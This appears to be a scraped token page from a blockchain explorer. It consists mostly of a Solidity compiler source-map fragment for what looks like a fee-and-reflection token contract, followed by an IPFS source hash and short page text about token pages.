1;:40::i;:::-;14699:110;;;;;;14820:19;14842:10;:8;:10::i;:::-;14820:32;;14864:15;14881:23;14906:12;14935:46;14947:7;14956:4;14962:5;14969:11;14935;:46::i;:::-;14863:118;;-1:-1:-1;14863:118:0;-1:-1:-1;14863:118:0;-1:-1:-1;15035:15:0;;-1:-1:-1;15052:4:0;;-1:-1:-1;15058:5:0;;-1:-1:-1;;;;;14454:618:0;;;;;;;:::o;2262:136::-;2320:7;2347:43;2351:1;2354;2347:43;;;;;;;;;;;;;;;;;:3;:43::i;2074:179::-;2132:7;;2164:5;2168:1;2164;:5;:::i;:::-;2152:17;;2193:1;2188;:6;;2180:46;;;;-1:-1:-1;;;2180:46:0;;10715:2:1;2180:46:0;;;10697:21:1;10754:2;10734:18;;;10727:30;10793:29;10773:18;;;10766:57;10840:18;;2180:46:0;10513:351:1;14040:211:0;14093:19;14115:10;:8;:10::i;:::-;14093:32;-1:-1:-1;14136:13:0;14152:22;:5;14093:32;14152:9;:22::i;:::-;14226:4;14210:22;;;;:7;:22;;;;;;14136:38;;-1:-1:-1;14210:33:0;;14136:38;14210:26;:33::i;:::-;14201:4;14185:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;14040:211:0:o;14260:147::-;14338:7;;:17;;14350:4;14338:11;:17::i;:::-;14328:7;:27;14379:10;;:20;;14394:4;14379:14;:20::i;:::-;14366:10;:33;-1:-1:-1;;14260:147:0:o;15081:472::-;15250:7;;;;15344:30;15370:3;15344:21;:7;15356:8;15344:11;:21::i;:::-;:25;;:30::i;:::-;15329:45;-1:-1:-1;15385:13:0;15401:28;15425:3;15401:19;:7;15413:6;15401:11;:19::i;:28::-;15385:44;-1:-1:-1;15440:23:0;15466:28;15385:44;15466:17;:7;15478:4;15466:11;:17::i;:::-;:21;;:28::i;:::-;15440:54;15533:4;;-1:-1:-1;15539:5:0;;-1:-1:-1;15081:472:0;;-1:-1:-1;;;;;15081:472:0:o;16259:164::-;16301:7;16322:15;16339;16358:16;:14;:16::i;:::-;16321:53;;-1:-1:-1;16321:53:0;-1:-1:-1;16395:20:0;16321:53;;16395:11;:20::i;:::-;16388:27;;;;16259:164;:::o;15713:537::-;15907:7;;;;16004:24;:7;16016:11;16004;:24::i;:::-;15986:42;-1:-1:-1;16039:12:0;16054:21;:4;16063:11;16054:8;:21::i;:::-;16039:36;-1:-1:-1;16086:13:0;16102:22;:5;16112:11;16102:9;:22::i;:::-;16086:38;-1:-1:-1;16135:23:0;16161:28;16086:38;16161:17;:7;16173:4;16161:11;:17::i;:28::-;16211:7;;;;-1:-1:-1;16237:4:0;;-1:-1:-1;15713:537:0;;-1:-1:-1;;;;;;;15713:537:0:o;16438:257::-;16533:7;;16486;;;;4768:15;16601:20;16533:7;4768:15;16601:11;:20::i;:::-;16591:7;:30;16587:61;;;-1:-1:-1;;16631:7:0;;;4768:15;;-1:-1:-1;16438:257:0;-1:-1:-1;16438:257:0:o;16587:61::-;16670:7;;16679;;-1:-1:-1;16438:257:0;-1:-1:-1;16438:257:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:247;762:6;815:2;803:9;794:7;790:23;786:32;783:52;;;831:1;828;821:12;783:52;870:9;857:23;889:31;914:5;889:31;:::i;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;4191:127::-;4252:10;4247:3;4243:20;4240:1;4233:31;4283:4;4280:1;4273:15;4307:4;4304:1;4297:15;4323:168;4396:9;;;4427;;4444:15;;;4438:22;;4424:37;4414:71;;4465:18;;:::i;4496:217::-;4536:1;4562;4552:132;;4606:10;4601:3;4597:20;4594:1;4587:31;4641:4;4638:1;4631:15;4669:4;4666:1;4659:15;4552:132;-1:-1:-1;4698:9:1;;4496:217::o;8341:125::-;8406:9;;;8427:10;;;8424:36;;;8440:18;;:::i;8875:128::-;8942:9;;;8963:11;;;8960:37;;;8977:18;;:::i;9140:127::-;9201:10;9196:3;9192:20;9189:1;9182:31;9232:4;9229:1;9222:15;9256:4;9253:1;9246:15;9272:251;9342:6;9395:2;9383:9;9374:7;9370:23;9366:32;9363:52;;;9411:1;9408;9401:12;9363:52;9443:9;9437:16;9462:31;9487:5;9462:31;:::i;9528:980::-;9790:4;9838:3;9827:9;9823:19;9869:6;9858:9;9851:25;9895:2;9933:6;9928:2;9917:9;9913:18;9906:34;9976:3;9971:2;9960:9;9956:18;9949:31;10000:6;10035;10029:13;10066:6;10058;10051:22;10104:3;10093:9;10089:19;10082:26;;10143:2;10135:6;10131:15;10117:29;;10164:1;10174:195;10188:6;10185:1;10182:13;10174:195;;;10253:13;;-1:-1:-1;;;;;10249:39:1;10237:52;;10344:15;;;;10309:12;;;;10285:1;10203:9;10174:195;;;-1:-1:-1;;;;;;;10425:32:1;;;;10420:2;10405:18;;10398:60;-1:-1:-1;;;10489:3:1;10474:19;10467:35;10386:3;9528:980;-1:-1:-1;;;9528:980:1:o

Swarm Source

ipfs://67c94e79b2d5e61788d121aec2c3ee09f0f4fd9f1a56ea8cc44a7d1f76a310d6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.